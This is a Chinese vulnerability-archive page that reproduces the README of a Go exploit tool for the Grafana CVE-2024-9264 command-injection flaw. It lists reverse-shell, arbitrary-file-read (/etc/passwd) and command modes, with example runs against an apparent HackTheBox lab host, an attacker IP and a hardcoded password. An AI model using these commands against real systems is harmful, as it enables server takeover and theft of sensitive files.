目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-9264 PoC — Grafana 安全漏洞

来源
关联漏洞
标题: Grafana 安全漏洞 (CVE-2024-9264)
Description:Grafana是Grafana开源的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。 Grafana存在安全漏洞,该漏洞源于SQL表达式实验性功能在处理用户输入的duckdb查询时,未能充分清理,导致命令注入和本地文件包含漏洞。
Description
A go implementation for CVE-2024-9264 which effect grafana versions 11.0.x, 11.1.x, and 11.2.x. 
介绍
# 🚨 CVE-2024-9264 - Grafana SQL injection leading to Remote Code Execution (RCE) and file Read

Exploit tool for [CVE-2024-9264](https://grafana.com/blog/2024/10/17/grafana-security-release-critical-severity-fix-for-cve-2024-9264/), a **critical vulnerability in Grafana** allow authenticated attcker to execute sql query leading to RCE

> 🛡️ This tool is strictly for **educational purposes** and **authorized penetration testing**.  
> Unauthorized use is illegal and unethical.

---

## 🧠 Vulnerability Overview

### 🕳️ What is CVE-2024-9264?

**CVE-2024-9264** is a critical flaw in Grafana allows authenticated attacker to execute sql commands leading to RCE and file read

### 🧬 Root Cause

- Insufficient sanitization.

### 💥 Impact

- **RCE**: Execute arbitrary commands, get reverse shells, or read sensitive files.
- **High Severity**: Complete server takeover possible if successful.

---

## ⚒️ Features

- Supports multiple attack modes:
  - `file` – Read arbitrary files (e.g., `/etc/passwd`)
  - `shell` – Reverse shell to attacker machine
  - `command` – Run arbitrary shell commands (e.g., `whoami`)
- Customizable attacker IP, port, and credentials

---

## 🚀 Usage

![help menu](https://github.com/Cythonic1/CVE-2024-9264/blob/main/img/cmd.png)

Not all of the arguments are nessary.

## examples 

### Getting shell

``` go run main.go  -ip 10.10.16.91 -port 8080 -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type shell ```

### Read files 

``` go run main.go  -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type file -filename /etc/passwd```

### Execuet single command

``` go run main.go  -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type command -cmd 'ls -al' ```

### 🔧 Command-Line Flags

``` go run main.go [flags] ```



文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →